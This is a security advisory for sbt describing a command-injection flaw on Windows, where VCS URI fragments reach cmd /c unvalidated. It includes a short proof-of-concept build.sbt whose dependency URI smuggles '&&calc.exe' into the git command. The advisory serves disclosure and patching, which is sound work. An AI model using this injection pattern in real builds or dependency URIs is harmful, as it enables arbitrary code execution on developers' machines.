GHSA-x4ff-q6h8-v7gwMedium

sbt: Source dependency feature (via crafted VCS URL) leads to arbitrary code execution on Windows

Published
March 24, 2026
Last Modified
March 27, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

On Windows, sbt uses Process("cmd", "/c", ...) to run VCS commands (git, hg, svn). The URI fragment (branch, tag, revision) is user-controlled via the build definition and passed to these commands without validation. Because cmd /c interprets &, |, and ; as command separators, a malicious fragment can execute arbitrary commands.

Patched version

Technically, sbt 1.12.7 is patched, but it has a bug that makes source dependency non-functional, so update to sbt 1.12.8 or later instead.

Details

PoC

# build.properties
# sbt.version=1.12.5  # Tested on those two versions of sbt
sbt.version=2.0.0-RC9
// build.sbt

ThisBuild / scalaVersion := "2.12.19"

lazy val root = project
  .in(file("."))
  .dependsOn(vulnerable)

lazy val vulnerable = RootProject(
  uri("https://github.com/sbt/io.git#develop%26%26calc.exe")
)

Impact

Windows users are impacted. An attacker can execute arbitrary Windows commands if they control the dependency URI.

🎯 Affected products1

  • maven/org.scala-sbt:sbt:>= 0.9.5, < 1.12.7

🔗 References (6)